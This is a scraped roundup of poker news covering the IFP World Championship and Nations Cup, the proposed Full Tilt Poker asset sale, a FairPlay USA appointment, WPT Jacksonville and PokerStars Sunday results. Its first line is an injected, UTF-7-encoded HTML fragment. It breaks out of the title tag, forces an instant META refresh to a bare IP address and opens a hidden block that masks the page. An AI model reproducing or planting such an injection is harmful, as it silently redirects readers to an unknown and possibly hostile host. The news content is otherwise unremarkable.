+ADw-/title+AD4APA-META http-equiv+AD0AIg-refresh+ACI content+AD0AIg-0+ADs-URL+AD0-http://178.153.22.250/+ACIAPgA8-DIV style+AD0AIg-DISPLAY: none+ACIAPgA8-xmp+AD4-

The International Poker Federation hosted two major events in London, England this past week, the IFP World Championship (dubbed “The Table”) and the Nations Cup (a team event where players participated in the Duplicate Poker format).

In the Nations Cup it was the team from Germany who would come out victorious (as if crowning the reigning WSOP Main Event Champion just a few weeks back wasn’t enough for the Germans) in the new format that sees each team dealt the exact same hands to see who plays the hand more skillfully. Germany, whose team included Captain Stephan Kalhammer, Sebastian Ruthenberg, Moritz Kranich, Tobias Reinkemeier, Sandra Naujoks, Konstantin Buecherl, Hans Martin Vogl and Tim Reese, managed to edge the teams from France and Brazil by just 2 points (24 to 22) to claim the first-ever Nations Cup title.

In the IFP World Championship, an invitation-only $500k freeroll tournament, 120 of the top poker players in the world participated in the event, with only the final table making the money (and 80% of the prize-pool going to the top 3 finishers). Here is how the final table played out in the World Championship:

1. Raul Mestre (Spain) — $250,000

2. Victoria Coren (UK) — $100,000

3. Igor Trafane (Brazil) — $50,000

4. Slavko Tomic (Serbia) — $25,000

5. Marsha Waggoner (Australia) — $20,000

6. Sandra Naujoks (Germany) — 17500

7. Takuo Serita (Japan) — 15,000

8. Tim Reese (Germany) — 12,500

9. Kinichi Nakata (Japan) — $10,000

For more information on the events, or on the IFP you can check out their website at http://www.int.pokerfed.org/

After reading the article initially published by CNN Money on Thursday (and subsequently taken down by the site minutes later) the notion that Groupe Bernard Tapie would be taking over the reins of the once prominent online poker site Full Tilt Poker sooner rather than later may have been nothing more than wishful thinking.

When a second article hit the site on Friday a much fuller picture developed, and it seems that even though progress is being made, there are still a few chances for catastrophe to strike before a final deal is signed, sealed, and delivered.

It would appear that the deal between the DOJ and GBT was not for the sale of Full Tilt Poker, but merely an agreement stating that IF Full Tilt Poker relinquishes its assets to the US Department of Justice, the agency would then sell those assets to GBT for $80 million. While there is no reason for Full Tilt Poker not to accept such a deal, crazier things have happened in our industry in the past.

There was also speculation that players funds may not be 100% guaranteed, with the possibility that the DOJ may only make partial restitution brought up.

The agreement would also see all of the following things occur:

• The civil complaints against Full Tilt Poker dismissed –Criminal complaints against key individuals like Full Tilt CEO Ray Bitar would still remain, as would forfeitures and civil charges against other individuals
• No current Full Tilt Board Member would be part of the new enterprise
• The US Department of Justice would facilitate the payment of funds to players from the US
• Groupe Bernard Tapie would take-on all current debts to poker players from the rest of the world

We’ll keep you updated as more details are likely to develop on this story throughout the week.

The poker advocacy group FairPlay USA has added yet another high-profile member to their Advisory Board. This past week FairPlay USA announced the addition of 25-year FBI veteran Jack Garcia as they continue to fight for clear, commonsense, regulations for the online poker industry.

In a press release sent out by FairPlay USA they announced Garcia’s addition to their Advisory Board where he will join other experts like Parry Aftab, former Homeland Security Secretary Tom Ridge, 2004 WSOP Main Event Champion Greg Raymer, former FBI director Louis Freeh, and Poker Hall of Famer and Ambassador for the game Mike Sexton.

According to the FairPlay USA press release, “Garcia has seen the face of illegal gambling up close: he worked as an undercover officer in more than 100 operations, including infiltrating the Gambino crime family in New York for nearly three years.” Garcia was later quoted in the press release as saying: “I’ve seen up close the role that illegal gambling plays in funding a whole host of other criminal activities and the power of the internet has given the problem global reach.”

On the FairPlay USA website Marisa McNee, Executive Director of FairPlayUSA had this to say about the addition of Garcia: “Jack further expands the exceptional group of law enforcement and advocacy experts advising FairPlayUSA about how to best address the growing problem of illegal Internet gambling and the need to pair enhanced law enforcement tools with a strict, transparent regulatory structure for online poker… We look forward to having him actively engaged in our education efforts.”

For more information, or to sign the FairPlay USA petition, you can visit their website at www.fairplayUSA.com.

A total of 168 survivors from two starting flights took to the felt yesterday at the World Poker Tour Jacksonville Main Event. 126 of those faced elimination over the course of seven intense levels, but Vitor Coelho wasn’t among them. In fact, Coelho took the outright lead by the end of the day, bagging up 945k chips along with a huge lead over second place.

Coelho’s big break came when he pushed all-in with pocket aces against Joel Schmidt’s pocket kings. The board was garbage, allowing Coelho to exceed 1 million chips and knock out Schmidt. He continued to build his momentum by defeating Jeff Forest, a former WPT winner, with A-5 offsuit over K-10 offsuit.

A string of noted pros were eliminated along with Forrest, including Harrison Gimbel, Matt Glantz, John Racener, Tony Dunst, David Pham, Jonathan Little, Tommy Vedes, Victor Ramdin, Nick Schulman, Michael Gracz and Shaun Deeb. Deeb was sent to the rail by John Liu’s flush while holding A-J offsuit. Deeb faced a seriously bad beat when his pocket aces were crushed by Q-10 offsuit, which drew to trip 10s on the flop.

A number of talented pros remain to compete with Coelho, including Artie Rodriguez, Chris Tryba, Lisa Hamilton, Corey Burbick, Mike Beasley and Dwyte Pilgrim. All of the aforementioned players have chip stacks ranging from 100k up to 284k. The lowest stacks belong to Zoltan Czinnkota and Deshun Boone, who will need to rally on Day 3 if they wish to avoid the dreaded position of money bubble boys.

Just 42 players remain in WPT Jacksonville, with places 40 and under slated to receive money prizes. In terms of chip counts, Coelho’s stiffest competition currently includes Darryll Fish, Alexander Venovski and Connor Drinan, all of whom have over 550k chips.

PokerStars is about to turn 10 years old, and is commemorating its birthday by launching a series of special tournaments. The most recent came in the form of the PokerStars Red Spade Open, a massive MTT that attracted 28,338 players to pay buy-ins of $55 each this past Sunday.

A six-way deal was struck at the final table of the $1.4 million prize pool tournament. The top three finishers received approximately $121k each, with David “Dick_Fosbury” Labchuck emerging as the winners. Due to the chip counts at the time of the deal, fourth-place finisher DavoDam earned the biggest cash of the event, totaling $197k.

The Sunday Million experienced heavy traffic as well, drawing 7,023 players to pay buy-ins of $215 each to generate a prize pool that fell just a few thousand dollars short of the one found in the Red Spade Open. A three-way deal was struck in which muha84 took the win along with $199k, the biggest online poker tournament score of the week. Runners-up wiklund and Haporuu earned $150k and $129k, respectively.

The most noteworthy player to secure a victory on Sunday was Mike “Timex” McDonald. The fan-favorite took down 2,993 competitors in the Bigger $109 sans a deal, earning a $48k chunk of the $299k prize pool. Second-place finisher SE-R DET, who earned $35k, should be commended for lasting over 90 minutes in heads-up action against McDonald, widely considered one of the best online players in the world.

As usual, the biggest tournament of the week in terms of volume was the Sunday Storm, which attracted 36,727 players to pay buy-ins of $11, smashing the $200k guarantee with a $367k prize pool. Vinacis_gg won the event following a five-way deal to take 419k, while third-place finisher GaborMarton earned the largest cash at $25k.